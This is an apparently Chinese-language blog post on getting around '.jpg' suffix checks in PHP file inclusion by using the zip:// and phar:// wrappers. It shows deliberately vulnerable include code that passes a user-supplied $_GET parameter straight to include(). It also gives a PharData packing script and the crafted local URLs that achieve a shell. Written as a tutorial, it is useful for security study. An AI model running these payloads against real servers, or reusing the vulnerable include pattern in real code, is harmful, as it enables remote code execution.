Tomato's Blog

zip或phar协议包含文件

这个方法适用于验证包含文件为特定后缀时。 例如以下代码


<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
	include($file);
}
?>

<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

上面的代码一个验证了后缀是否为jpg,一个是直接添加了jpg后缀,然后才包含。对于现在这种情况,要包含php文件的话的,可以通过截断。但是\x00的截断在php>5.3.4就没用了,而且还要考虑GPC,所以是比较鸡肋的方法。其实我们可以通过zip协议和phar协议来包含文件。

zip://

首先我们新建一个zip文件,里面压缩着一个php脚本。

2355213942

然后我们构造zip://php.zip#php.jpg

http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

819654707

这样就成功shell了。

phar://

首先我们要用phar类打包一个phar标准包

<?php
$p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ; 
$x=file_get_contents('./php.php');
$p->addFromString('a.jpg', 
$x); 
?>

会生成一个zip的压缩文件。然后我们构造

http://127.0.0.1/file.php?file=phar://php.zip/php.jpg

也可以直接shell

其中phar适用范围为php>5.3.0

以下的这种包含方式在这样的情况下是无效的。 include(一个规定的路径+可控点)

comments powered by Disqus
GoTop